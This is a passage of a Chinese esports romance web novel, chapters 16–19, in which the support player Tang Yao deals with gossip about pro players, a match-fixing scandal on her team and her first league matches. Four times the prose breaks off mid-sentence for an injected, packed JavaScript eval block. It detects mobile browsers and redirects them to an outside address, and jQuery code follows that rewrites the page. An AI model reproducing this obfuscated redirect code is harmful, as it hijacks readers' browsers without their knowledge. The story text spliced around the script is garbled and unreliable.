;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326021|183222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才要发脾气。可现在只觉得他多管闲事自作多情。 这种感觉就像是…… 她搜肠刮肚，终于回忆起那个成语——叶公好龙。 汤瑶的不适感恰恰来源于真实。面前的真白太真实了，会呼吸会说话，有表情有生命，不管是脸上的瑕疵还是不够完美的比例，哪怕平心而论他在男人堆里已经够出挑了，但远远比不上幻想里的那个完美形象。可就是这样的人，和自己却又有着不可逾越的鸿沟，哪怕现在坐在同一个包厢里，依然不是同一个世界。 这种又近又远的荒谬感让她非常难受，看着热热闹闹的KTV，鼻子越来越酸。 汤瑶起身去找Shark：“我有点不舒服，我想回去了。” “嗯？你说啥？”Shark正在跟朋友聊天，又因为有人在唱歌，只听到依稀几个字。 “我说，我先回去了。”汤瑶平静得重复。 “行，那我们走呗。”Shark很果断，“酒店还挺近的，不过打车也行。” “呃，我的意思是我想回基地了。”汤瑶有点尴尬，一开始都说好了，现在又爽约，只好找了个借口，“……就……肚子疼，你懂吧。在这边住明天也起不来，不如直接回去了。” Shark脑子转了会儿，才懂了她的意思，有点失望的哦了声：“那好吧。”他坐着不动，“你回去路上小心点，拜拜。” 如果真的别有用心，怎么可能一句话就轻易放过。 人家又不是傻子！大家可是队友，怎么可能乱来啊。自己可是战队里的吉祥物，随便告一状，都够他喝一壶的。他难道会拿自己的前途当赌注吗？他可是梦想去打世界的诶。 不满归不满，迫于要挟，汤瑶还是宛如地下党接头一样在停车场找到了Foppish的车。 等人的空闲她拿着识图拍了一下车标，发现是保驰捷，看了一下售价更是将近七位数，惊讶得连连往后退了两步。 但她很快又在想，Foppish最好成绩也就是个世亚，水平在LPL更是只能算中下游，居然也这么有钱，看来那些爆料里的天价合同，小道消息里选手谁谁买楼炒股，谁谁投资开点都不是谣传，LPL的油水真是多啊……自己会有这样一天吗？ 发着呆，车灯闪了两下。 有人在身后吹口哨：“嫂子等很久了嘛？宇哥在打电话，一会儿就过来。”他走过来帮她开门，“你坐后面吧，地址发我微信。” 没有想象小镇青年的那股说不明道不明的臭味，反而是一点点烟草味。没有看到他抽烟，应该只是在包厢里被熏的。更多的是一种很清新舒朗的味道，淡淡的，香香的。 汤瑶哽了哽，鼓起勇气说道：“你能不能不要乱叫。” 结果Foppish在后视镜里看她，笑起来露出一口白牙：“不行，我就喜欢乱叫。”他恶劣又幼稚的冲她眨眼，“汪汪汪，汪汪汪。” ……狗腿子成精。 汤瑶绝望得闭上眼，瘫倒在座椅上。 16. 第 16 章 汤瑶闭着眼睛装死，Foppish也没说话。 好在真白没多久就来了，他还在打电话，从只言片语里听得出来是和经历说一些战队的事情。他现在是AWA的主心骨，不光游戏里掌控指挥大权，平时的训练赛和BP都有决策权。从赛后的一些语音也能听得出来，现在AWA能风生水起，他说一不二的指挥占了很大功劳。 所以，真白也是辅助里非常少见的那一类：辅1。 1到什么程度呢，就是1到就算现在和Foppish这种类型的AD走下也没能撼动在同人文里当攻的地位。 汤瑶偶尔也看小说，但她不看两个男人的故事。理由很简单，如果有两个优秀到成为主角的男人，她选择全都要，而不是让他们内部消化。只是男性多的圈子免不了充斥着同人文化，就算不去关注，梗也无处不在。实在很难不让人印象深刻。 汤瑶坐在副驾驶后面位置，从这个角度只能从看到Foppish的侧面还有后视镜里他的脸。反反复复来来回回的打量，再回想起刚才短暂擦肩而过闻到的香味，心里开始想着：如果他这赛季少点抽象操作，自己说不定真会多关注他一点。 她玩了会儿手机，开始昏昏欲睡。 忽然导航被打断了，Foppish手机跳出来一个来电通知。他瞥了一眼，直接点了外放接通：“喂？” “喂？”是个男生，“晚上万利，来吗？” “你又喝啊，你们队现在还有假放？”Foppish说，“拿不到夏冠你们就要打冒泡赛，今年名额不好争啊。” “就是烦才要喝啊。”那边说，“来呗，不是罗汉局，给你介绍漂亮妹妹嘛。” “算了算了，我现在有事，要很晚了。” “我没事，我来我来。”真白突然插了一嘴，“回哥带我混啊，我无聊死了。” “来啊来啊，你俩一起来呗。”谢回说，“你俩干嘛呢，还在基地啊？” Foppish抬头瞥了一眼后视镜，正好和少女四目相对，笑了一下：“没有，我俩正在……” “经理让我俩跑腿，有点事。”真白嘴快，“给我发信息啊，我回来就去。对了，能不能给我开瓶炮？” “滚啊，还炮，你看我像不像皇家礼炮？”谢回骂骂咧咧，“就这样，先挂了。晚上见啊。” 嘟嘟嘟…… 电话挂断，导航重新出现。Foppish摇头：“你去吧，我真不去了。每次他组局，那几个死花痴都要来，我真他妈受不了。尤其是个齐刘海，跟有病似的。” “谁啊？哪个？” “哎呀，就是每次都在的那个齐刘海啊。就……就有回那女的喝多了，嗷嗷哭，给我吓死了，别的女生过去劝也劝不住，我都想报警了，然后谢回让她滚，她跟他吵了几句，最后还是打车滚了。我以为这是掰了，结果下次去还在，还贴在他边上给他递西瓜。卧槽，这都他妈202几年了，他他妈出门还带丫鬟，谁受得了啊？” “哈哈哈哈……那个啊，我知道我知道。太抽象了，都抽象。”真白说，“谢回也挺那个的，你不觉得吗？他的舔狗喝多了发酒疯，他自己不也差不多……不过也还好吧，年轻人，谁还没个为情所困的时候呢。他人还是挺好的，有意思。” “等一下等一下。”汤瑶越听越迷糊，“你们说得谢回是谁啊？”两人都惊讶的回头看她一眼，她继续说，“是我知道的那个吗？MIFA？？” “不然咧？”Foppish莫名其妙。 “就是他啊。”真白笑了一下，“怎么了，觉得很幻灭？” ……他好懂啊。 汤瑶用手机托着自己的下巴，犹犹豫豫的说：“是啊。我以为他真的喜欢他们队中单。” “喜欢啊！”Foppish说，“他哪里不喜欢了？全世界都知道他喜欢，我这辈子就没见过比他更舔的舔狗了。每次有拍摄他都要求要有双人镜头，采访也要双人，实在不行顺序就要挨着。如果这都不算爱！” 不等汤瑶说话，真白已经回答了她的不解：“其实感情都不能用时间算，而是次数。喜欢也好，爱也好，这种感情都不可能持续的。你再喜欢一个人，也不可能二十四小时什么也不干全心全意‘喜欢’对方。只是你会在想起来的时候喜欢一次。你不可能喜欢一个人多久多久，但是可以一天喜欢这个人几十次。所以呢，喜欢一个人，不妨碍在其他时候喝酒。而且就算他喝醉了躺在别的妹妹怀里，还是会给孟麒打电话的。嗯~如果这都不算爱。” “……认真的吗？”汤瑶歪着头，从后座瞪着真白，“我觉得你是在故意黑他。” 真白一挑眉：“干嘛？你是谢回粉丝？你对我尊敬一点，回头把他联系方式推给你。” “用不着。”汤瑶哼一声，得意道，“我加过了。” “哟，你还挺有人脉。”真白很惊讶，“混得不错啊小妹妹。” Foppish点头，还很骄傲：“那是，我嫂子能一般人吗。” 真白怒抽了七八张纸揉成一团砸过去：“闭上你的狗嘴行吗，别乱说话。” 结果Foppish笑得更狠了：“你俩说话都一样。”正好等红灯，他抽空喝了几口水，“要我说，成天搞这些情情爱爱，可女人哪有游戏好玩？对了，小嫂子，你什么时候能上LPL？到时候遇到了下手轻点啊。” “我啊。”汤瑶被戳到痛处，也懒得去想别人的花边新闻了，苦笑道，“我没戏。”她苦恼地波弄着头发，“别说LPL，LDL，我连训练赛都没打过几次。” “啊？为什么？那你们比赛都谁打啊？” “我们队里的辅助打啊。”她说，“我本来就是替补。” “好吧。”Foppish没有继续这个话题，“没事，那你有空了找我。我来给你看看你哪里不太好，帮你早点儿上比赛。哥的ADC包治百病！” 汤瑶扯了扯嘴角：“谢谢，不用了。” 她嫌他菜。 虽然自己是个训练赛都轮不上的青训替补，但不妨碍她对LPL的AD们都要挑挑拣拣。 “你的AD不行。”真白直截了当，“说实话不如我一根。” “你行你怎么不来打AD？” “我能打啊，但是你不能打辅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326022|183222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 助。我上你不得失业？” 汤瑶没再参与他俩拌嘴，出于好奇，翻起了谢回的朋友圈。她好友不多，所以平时没有刷朋友圈的习惯，几乎只有想发自拍的时候才会专门点开。这还是第一次看。 谢回的置顶是去年世界赛被拍到的一张和自家中单的同框背影。 MIFA和LADY SHIVA并着肩，整个场馆坐满了欢呼的人群将他们围绕，聚光灯打下两个少年的头顶，他正侧着脸看着她——是任何电视剧都拍不出来的热血和甜蜜。就算是汤瑶对于这俩人都芥蒂，在看到这张照片都想要浅浅磕上一口。 但置顶之下的分界线，就好像是人格的分界线。 他的私生活非常丰富多彩，十条里面有六条都是酒局。有夜店有酒吧有KTV，甚至还有便利店门里现买现兑的，再要么就是怼着一个脸上贴满卫生纸条的人发个倒着的大拇指，说不行。剩下的就是各种穿搭自拍还有基地里的琐碎。 汤瑶震惊的不是他是个如此典型的玩咖，而是这样的花花公子在整个联盟里的风评居然是痴情舔狗。 谁家的舔狗会喝多了躺在暗恋自己的女生怀里给喜欢的女生打电话？（这点存疑，很可能是真白诋毁）可退一万步，抽烟喝酒不算有罪，但每次组局都叫关系好的异性算怎么回事？难道就一点边界感都不懂吗！就算就算是真不懂，那这样过于‘天真’‘单纯’的大男孩，实在是很难让人消受得起啊。 啧啧，真是差劲啊。 汤瑶不是谢回的粉丝，甚至在第一次见他的时候因为短暂的相处就把对他的帅哥滤镜碎了个干净，所以再次听到相关八卦，也没有多么惊讶。甚至在心里生出了一丝非常阴暗的窃喜——看吧看吧，所谓天上有地下无的电竞纯爱实际就是这么现实不堪。 哎呀哎呀，LADY SHIVA的男朋友是个喜欢擦边蹭热度的小网红，追求者是个被滤镜洗白的顶级玩咖，一个比一个拿不出手，所谓的女主光环也不过如此嘛。 可是很快她又想起来，LADY SHIVA很少分享私生活，对谢回更是坚决的拒绝了无数遍，还因为拆CP被网暴了好多轮。不清醒的是观众，并不是她。看起来她被这些男人围绕，可是谁也没有影响到她。女主光环又不是一定非得是感情线，今年春季赛她沙皇的节奏那么大，结果自断一臂打到现在，再再差也有冒泡赛打。 男人离谱一点都不奇怪，用非版本英雄吊打版本强势才是真的离谱。 凭什么！！凭什么会有这种天才少女呢？！……当年虚构人设的时候还是太保守了。 汤瑶突然很难过。她再一次感觉到人和人之间不可僭越差距。 是捧着1299的手机对着29999块的电脑链接震惊得寝食难安；是小镇女孩第一次站在大城市的高铁站，在川流不息的人群里迷路半小时流下的眼泪；是作为选手，有人享受着鲜花和镜头，拥有无限的支持和偏爱，有人始终没有姓名，不是被当做女友就是粉丝，只能在阴暗的角落里嫉妒着，羡慕着。 选手和选手不同，女生和女生不同。 ——说到底，是主角和NPC的差别。 17. 第 17 章 果然这世界不会真的对自己好。 汤瑶就是个很别扭的人，她能感觉到真白来找自己相认并没有他所说的那么迫不得已，对于他的多管闲事，其实也是一边吐槽一边受用。既鄙夷男人肤浅的居心不良，又本能的因为对方的别有用心而有些说不满道不明的满足。听他神神秘秘的反复强调自己联系他，还以为会是什么试图再续前缘的狗血发展，结果完全不是那么回事。 真白只是问她现在用的韩服号是不是之前自己送的那个，得到得肯定的答案之后被勒令赶紧换掉。他说她根本不懂网友的神通广大，他用过这个号直播过，本来就留存着赛博案底，如果一直放着就算了，偏偏被她翻出来用，还凭着这个来到了青训，成为了凤毛麟角的寥寥几个女选手之一。万一东窗事发，他俩都要被扒一层皮。 所以，趁着她现在还没什么画面，赶紧换个号。 得，女选手的红利遥遥无期，粉圈的铁拳倒很有可能砸过来。 没办法，汤瑶只能说那个号出了点问题，弄了个新账号重头开始。青训并没有官方提供的超级号，所以她需要用一个完全没有隐藏分的号从青铜开始回到大师。 最开始还好，她很轻松地用高胜率连胜来到翡翠，原本以为大师也近在咫尺，结果没想到外服的这分段一样是鬼神愁。这个说高不高，说低不低的分段，每个人都有自己匪夷所思的逻辑，加上ELO机制的制裁，老是拼凑不出一个完整大脑的四个队友和完全高于段位水平的对面，短短两天，却是她人生中最煎熬的几年。打得她道心破碎，万念俱灰。 期间Shark看她红温实在看不下去了，说这个分段辅助确实不好打，趁着现在还有隐藏分，他帮她上个大师，或者找个号陪她双排，后面她再自己打。 但汤瑶想也不想就拒绝了。没有任何复杂的考量，完全就是红温了不服气。道理她都懂，她知道辅助单排不好上分，她知道外服沟通困难，可这些都不能算理由，多得是人能做到的事情，自己凭什么做不到？ 她憋着一口气，闷头打了好几天，总算在两百把之内回了大师。 虽然过程很辛苦，回忆起来全都是血压，但看到结算动画的那一刻，竟然是一种前所未有的满足。毕竟她是被真白灌化肥长大的，技术提升的快是因为站在了前辈的肩膀上，她从接触到这个游戏起就没有真正打过水深火热的低端局。虽然，对于职业选手来说“炸鱼”甚至称得上可耻，可对她来说，这个完完全全经自己手打出来的账号带来的安全感无可比拟。 这是完全属于自己的成绩，不用再担心被谁收回了。 虽然上分之路非常坎坷，但对于没有训练赛可打的汤瑶来说，这反而是新的乐趣。经过半个月的磨炼，从愤怒到融入，她越来越包容低能队友，就算是大优势被翻盘也不会红温，而是认真复盘找问题，反思自己还有什么可以优化的地步，这种几乎是自虐的负重训练并不好受，但能让她在这个完全没有参与的基地里找到一点归属感。 也许真的是天道酬勤，又或许是时来运转。 汤瑶先是在韩服排到了直播中的THG的AD任卢，被这个出了名的压力怪夸了一嘴，热情的网友立刻就根据信息发现了她是青训女选手，关于她的资料贴在绿色软件讨论出了高楼，还有不少人专门来微博夸她。 再然后就是战队的成绩突然急转直下，开过几次会之后，训练赛开始有她的ID，她都还没来得及跟队友们磨合好，ID就又出现在了比赛的首发里。一切都发生得太快，她还在反复质疑自己几千粉丝难道就有如何恐怖的舆论压力时，看到了卷铺盖的Buer和教练，以及战队在官博发的道歉信和联盟官方的处罚结果才后知后觉的明白过来——是打假赛东窗事发了。 原来她这个战队的教练是个老赌狗，几年来一直都在勾结队员左右比赛结果，从而在菠菜网站牟利。本来青训的薪资待遇就一般，过来的网瘾少年也没有很好的家境，很容易就被大额红包蛊惑，从而一步错步步错。 结果教练也没想到，都这么多年头了，还真能有人是为了梦想来打游戏。他遇到个刺头，私下里暗示了Shark好多次，全都被打哈哈含糊了过去，但庄家那边又不能搪塞，就一边硬着头皮演，一边故技重施在基地搞宫斗搞排挤，想通过施压的方式来逼他，离开或者加入。结果Shark凑巧有点人脉，和LPL的选手Bunny是老乡，问过了之后直接搜集了证据就没有任何商量余地地向联盟举报了。 因为事先准备了证据，所以这次的效率格外快，教练和Buer直接滚蛋，并且整个青训都开始了新一轮的彻查，别家也翻出了不少脏事，牵连了不少人和教练，甚至还传闻有LPL的选手曾经参与，各大论坛闹得风风雨雨，非常热闹。 这次的风波，除了让Shark被各种夸做是王道漫画里的热血少年之外，最大的受益人就是汤瑶了。 教练就是因为需要和Buer配合打假赛，所以不论如何都不会让其他人上场。只是想想又让人觉得荒唐，因为恰好汤瑶是个女孩，所以坐冷板凳都变得特别顺理成章，这段时间所有人包括她自己都没觉得有什么不对劲。如果不是真相大白，也许等她终于受不了默默无闻，选择回家的那天还会感谢战队里的每个人。 还好，还好没有倒霉到那种地步。 汤瑶很理解Shark选择闷声干大事，毕竟他没有义务提前告诉自己。当然，她也没觉得应该感谢他，甚至……还有点嫉妒。 命运女神总是炫技一样展示神奇又无常的能力，还总是很残忍的把她按在观众席。她就这么看着身边的人一个接着一个走上舞台，一束接着一束的光将他们照亮。明明周围的人们都在为成功的人们欢呼喝彩， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326023|183222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可是她就是又狭隘又小气，吝啬到不愿意为别人的美好付出哪怕一丁点儿情绪价值。 汤瑶总是想：如果我不能成为拯救世界的主角，那么世界还是毁灭好了！ * 好在成为首发之后汤瑶为了能尽快和队友磨合，适应比赛，被安排了许多作业和加训，以至于忙到根本没时间让那些阴暗酸涩的情绪在心里发酵——比起计较现队友在社交平台的粉丝是自己的几倍，她更在乎的是和自己并肩作战的AD在游戏里操作是否恰当。 好在她虽然没打过几次训练赛，但和Shark足够熟悉，双人组吃得就是默契，只要配合好，表现总不会差到哪里去。就算是赶鸭子上架，汤瑶还是有惊无险的拿下了自己人生中的赛场首胜，甚至还在第三局喜提MVP。 比赛结束的回程大巴上，汤瑶美滋滋反复翻看着播报自己MVP的那条微博，不断刷新只有个位数的评论区，希望能看见更多的夸奖。她翻了又翻，评论数终于从7变成了8，引入眼帘的文字却是：卧槽，坦克。 一瞬间，好心情烟消云散。 胖跟丑一点儿关系都没有，她皮肤又白，五官也很出挑，还有一双又大又明亮的眼睛，从小到大的追求者也不算少。而且她的定妆照是最近才拍的，效果特别好，她喜欢得不了。虽然镜头里的自己看起来是有点肉，但选手里的歪瓜裂枣还少吗？谁会在丑男选手的MVP底下吐槽长相身材？！ 她气得发抖，点开回复噼里啪啦打了一大堆话，发出去之前想起来没换号。等她切了号再摸回去，发现评论量变成了136。再一点开，才发现那条评论被Shark用大号骂了，因为动态同步的关系，他的粉丝们也都来加入战场，虽然那个人也在努力一条一条回复脏话，但很明显寡不敌众，很快就被群起攻之的人身攻击淹没了。 “嘿嘿，别气了。”Shark在她发愣的时候用肩膀碰了下她，“这种人就是欠骂，现在被网暴了就老实了。” 汤瑶揉了下眼睛，淡淡哦了声。顿了一会儿，才说：“你怎么老爱跟人吵架。” “我又没错。”Shark理直气壮，“再说了，你可是我的辅助，绝对不能让你受委屈。” 汤瑶被恶心到起了一身鸡皮疙瘩，接着摸胳膊的动作躲得远了一点，头也撇到了一边：“你不要以为这样漏炮车我就不会给你打问号。” Shark早就习惯了她带刺的性格：“哈哈没事啊。我觉得还挺好的。而且你比Buer强多了……虽然不知道他的真的还是演的，反正之前那段时间真的特别坐牢，我当时只知道教练的事，还不知道他是内鬼，只是以为配合有问题，打得头痛死了。只有跟你玩的时候最放松。现在真好，平时和比赛都是跟你一起走下。” “我说真的。”他很真诚的说，“你是我到现在为止遇到的最厉害的辅助。” 18. 第 18 章 终于，在离开家之后的第五个月，汤瑶开始了人生的新篇章。只有真正打上了比赛，选手这个身份才有实感。LDL的强度不高，汤瑶真正打过之后感觉整体强度还不如韩服时排到的全明星王者局。当然和RANK还是有很大不同，选手们要尝试阵容，学习战术和沟通，即便次级联赛一直嘲讽只有下注的赌狗才会看，但对选手来这就是从素人到职业所需要的历练。 只可惜现在取消了升降级，三级跳再无可能，现在的年轻选手想要出人头地，只有通过优秀的表现得到俱乐部赏识的这一条路了。说卷也卷，毕竟游戏已经是个很多年头的老游戏了，不知名的选手远没有单子多的陪玩来钱快……不过，那是男选手们的现状。 女选手加入为这个圈子带来的争议，以及铺天盖地的新流量。也许LADY SHIVA还算不上顶尖选手，但绝对是蜂皇娱乐营销出来的最好商品之一。资本从她身上看到的无限潜力，所以都想要抓住这片蓝海，各种电竞行业都在扩建女队或者招收女队员。偏偏电竞的黄金年龄实在太小太小，即便是有天赋的女孩也很难克服来自现实的各种阻力，真正符合标准又能顺利加入的女性实在少之又少。 所以，作为极少数之一的汤瑶是块香饽饽。 早在她拿下LDL首胜之后，就收到了不少战队经理发来的私信。虽然合同里也规定了不允许私联之类的，但二队的选手本来就都是待价而沽的商品，就算真的违约，代价也不大，何况同个圈子里的大家抬头不见低头见，只是简单的过问几句，留个联系方式，没人会上纲上线。 谈不上兴奋，毕竟她也清楚，自己最多就是被加入了购物车而已。 何况这份青睐大概率只是沾光而不是赏识，拿出去炫耀还行，要是夜深人静时反刍，可能还会气得牙痒痒。汤瑶无时无刻不处于一种矛盾中。她既清楚自己是幸运的，又觉得到的还远远不够。别人有的她想要，别人没有的她也想要。当然了，她也只会在躺在床上的时候做梦，对于现在的生活，她其实很满意。 汤瑶在一个凌晨洗完澡美美躺进了香香的被窝，照惯例刷起了购物软件。在基地吃住全包，训练穿睡衣，比赛有队服，其实根本没什么开销。但穷人乍富，就算是隐形葫芦娃都想买个上上当。她正翻看的起劲，突然跳出几条新消息。 【白】：睡了没 【白】：[动画表情]？ 点进去之后才发现发来的是个听筒的表情，两个人的聊天记录截止于上个月因为换号而打的十几分钟通话记录。汤瑶想了想，不知道和他还能有什么纠葛，不过从枕头底下找到了耳机，主动给他打了过去。 “歪？干嘛？”她打了个哈欠，翻身换了个更舒服的姿势。 “也没什么。”真白那边好像也休息了，没有队友和键盘的声音，“你现在没玩狼人杀了吗？” 汤瑶听到他嘴里说出这个游戏，心情很复杂：“早就不玩了。” “好吧，我刚刚想上号看一下，发现你把我删了。” “大哥，我号早卖了，你现在才发现怎么好意思用这么惆怅的语气啊。有事没事，没事挂了啊！” “……诶诶诶，有事，有事。”真白立刻放开了夹住的嗓子，语调正常了不少，“我就是突然想听你唱歌了。” 汤瑶深吸一口气：“这他妈不还是没事吗？！” “……不能这样吧！你变了，以前送你一个大宝箱你就能唱一晚上。” “以前我们是什么关系，现在又是什么关系？”她冷笑，“大哥，你既不想我俩谈过恋爱的事情暴露出去，你怕影响你的名声前途还有商业价值，哦……还有你那个分分合合三年的富家千金前女友，那你别指望我俩还能有什么同行之外的关系啊。” “也没必要这么绝情嘛。不管怎么说，你也是我手把手教出来的。” “所以我现在虽然在心里骂你但是也没有挂电话呀哥哥~” “说真的，我失眠。我也没有别的意思，就是想听你唱歌而已。”真白听起来也翻了个身，“明天比赛我们队是第一场，烦着呢。不让你白唱，你想要点什么？” “唱不出来。”汤瑶一想到真白是从前的白就头皮发麻，“睡不着吃点安眠药。” “我真吃药了，不过是褪黑素，就是感觉没什么用。”真白说，“不唱就不唱吧，你别挂，我就听一会儿，等我睡着了你想挂就挂呗。” 汤瑶无奈：“随便你吧。”她何尝不知道他这是胡搅蛮缠的骚扰，但……她并没有嘴上说得那么厌恶。回忆里对他的滤镜太厚太美好，就算幻灭也需要时间。她没有说话，只是收起了通话界面，切出去刷别的了。 真白知道得逞，嘿嘿一笑，一阵窸窸窣窣的响动之后，听他满足的叹气：“那我睡咯。” 汤瑶听着熟悉的呼吸声，其实也很恍惚。只是这种惆怅没能持续太久，那边就是“咚”一声开门声。没有任何征兆的，一个大大咧咧的声音传过来：“诶张新宇你看群了没，这勾八是真不挑啊，明天他们也比赛，晚上还搞这些，到时候状态不好粉丝还要冲他们微博，而且那……” “啊啊啊啊！你闭嘴啊！”真白病从死中惊坐起，简直比被自己捉奸还要惊慌无助，压低了声音制止，“你别乱说话！！” Foppish像看外星人一样看着他：“……你发什么神经病？你不也不喜欢@&*）吗？”目光一扫，看见了他的耳机，了然，“哦，林琳听着呢？我就知道你俩分……”话到嘴边，看到对方越来越扭曲的表情和手舞足蹈的比划，他突然灵光一现，想起了前阵子见过的那个香香软软的小姑娘，心中了然，连忙转了个画风，“……了还是要吵。但也不能这么不挑时间吧，我们明天打比赛啊。” “不是林琳。”真白镇定的说，“你睡你的觉去。” “我不困，我拿充电宝。”Foppish说，“我跟经理出去吃烧烤啊。你要不要？” “不要。”真白摘下手机，埋进被子里，“不睡那你赶紧走。” Foppish很不屑：“切。还藏着掖着，哥们能偷你的不成？”他去自己那边翻了半天，找到东西往兜里一揣，就走了出去。真白刚刚松口气，门忽然被打开，中气十足的声音再次传来，“小嫂子你听得见吧？别跟他连了，给我打电话，我睡觉不打呼噜。” “滚！！！” 枕头飞过来之前，门被迅速关上了。 真白尴尬得半天不敢捡耳机，其实对于汤瑶，他也有点放不下的包袱。他自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326024|183222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认他本人要比当初那个什么语焉不详的白哥好得多，可从对方的言行举止能非常直观的感觉到，对方却觉得真实的自己完全不如她回忆里的人。谈不上喜欢，也绝对不是念念不忘，总之就是有点不甘心。 也没有那么不甘心，但想起来就会觉得不甘心。 所以心血来潮的时候想要刷点存在感，起码不要让彼此的聊天框沉底。 结果这下好了，不但没有建立出光辉形象，肯定还会让她觉得竞男全是炮王种马。虽然……虽然是事实，但，心照不宣的事情也不能这样戳破啊。他头疼的很，犹豫半天才把手机拿出来看，发现对方依然没有挂断，只好硬着头皮戴回耳机：“吵到你了吧？” “昂。”汤瑶对于戛然而止的八卦很是不满，“我又不困，不是你要睡吗？” 真白没办法，找了个话题：“嗯……回头有空玩几把？” “啊？你这话题也太跳跃了吧。”汤瑶心不在焉的回答，一边放大元宝刚刚发来的明天比赛的六支LPL比赛队伍截图，头脑风暴究竟谁是瓜主，“随便啊，有空就行。诶，你说LOL还是狼人杀啊？狼人杀我不想玩了。” “LOL呗，别的也行。”真白说，“我的意思是挂了呗，太打扰你了。” 她现在也满心只有和朋友讨论八卦，所以非常爽快：“OK，你好好休息。明天加油哈。”说着就非常主动的挂断了，甚至没听清楚对方的最后一句话。 汤瑶和元宝激烈讨论了十几个回合，很快把目标锁定在之前成绩尚可，这赛季却下滑明显的某AD上。这哥们长得特别崎岖，尖嘴猴腮还干瘦干瘦，因此妈粉更多，粉丝最喜欢说的就是喊话俱乐部让她们的好大儿多吃点。万万没想到，‘孩子’长不胖不是吃不好，而是纵欲过度所以营养流失太严重啊。 两人八卦的热火朝天，突然画面一转，屏幕闪了一下Foppish的头像。 是语音邀请。 就是汤瑶还没来得及挂，那边就主动取消了。 【Foppish】：……错了 【Foppish】：我就想看看你俩还在连吗 【姜汁汽水】：。。。 【Foppish】：嘿嘿 他在嘿嘿什么啊！ 结果他又发来一张图片。 是一张不知所谓的夜景，汤瑶一头雾水，打了个问号过去。 结果还没来得及切出去，那边就发了个几秒钟的视频过来。 还是图片里的那片夜景，走了几步，出现了一辆挺好看的白色摩托车，举着手机的人坐了上去。镜头反转，露出半张模糊的脸，只有眼睛被路灯照得亮晶晶的，写满了期待：“帅吗？帅吗？” 汤瑶很努力的把视频留在有他脸的那一帧，仔细鉴赏了一番。 还别说，Foppish的眉眼很立体，就算是这样的死光逆光也别有一种风味。而且因为太随意，所以完全没有那种矫揉造作感，神态和表情非常松弛，劲劲的气质和明亮的眼睛，确实很让人心动。 就是太自恋了，扣分扣分。 她想了想，回复道：最多3分。 Foppish发来一大串问号，附带一条怒气冲冲的语音：女人，你真的很没品！ 19. 第 19 章 汤瑶不知道怎么形容听到Foppish语音，他的声音不符合任何一款网络男神音，但清清爽爽，用这样的声音说这样烂俗的梗，简直和他的形象气质一模一样。她突然想起那回在车上听他学狗叫，很无端的想起那句俗话：会叫的狗不咬人。 真的太奇怪了！她突发奇想，打开浏览器输入关键词：Foppish 狗塑。 很快，她就得到了答案：杜宾。 在相关讨论的热帖里，一组他调试设备时被抓拍的瞬间和狗的对比，相似度高达百分之八十。根据狗塑的贴主介绍，这种狗看着凶巴巴，其实性格非常活泼，是精力旺盛的烈性犬。不论是哪个角度去考据，都符合到让人大呼“被狗塑简直就是每个AD的命运”。 她看得饶有兴趣，Foppish不断发图片的消息叮叮咚咚个不停。 汤瑶点进去就想吐槽对方自恋，结果发现对方发来的是那组摩托车的图。十几张图，看起来角度大差不大。而且她对于交通工具完全没有鉴赏能力，就连保驰捷都要识图才认识，更别提这种铁疙瘩了。她犹豫半天，只能再次发几个句号过去。 【姜汁汽水】：虽然但是 【姜汁汽水】：我不懂，也不喜欢。 【Foppish】：这需要懂吗？！你不能一眼出来很帅吗？ 【姜汁汽水】：我只感觉会死得很快。 【Foppish】：。。 【Foppish】：你没看过电影嘛？ 【姜汁汽水】：啊？ 【Foppish】：[可爱][可爱]天若有情 汤瑶搜了一下，发现一部非常非常古老的电影，属于第一眼扫过去就不感兴趣的类型。她没细看，而是切回了和元宝的聊天界面继续刚才的话题了。她不是个有礼貌的人，更没有担心不回消息是否会对别人有影响之类的负担，对于不感兴趣的话题，随时随地都可以戛然而止。 比起硬聊无趣的老电影，还是和朋友笑一下狗塑的帖子更好玩。 大概是突然被刷了一波存在感，第二天的汤瑶准时准点打开了lpl的比赛直播，有史以来第一次完整得看完了AWA的比赛。 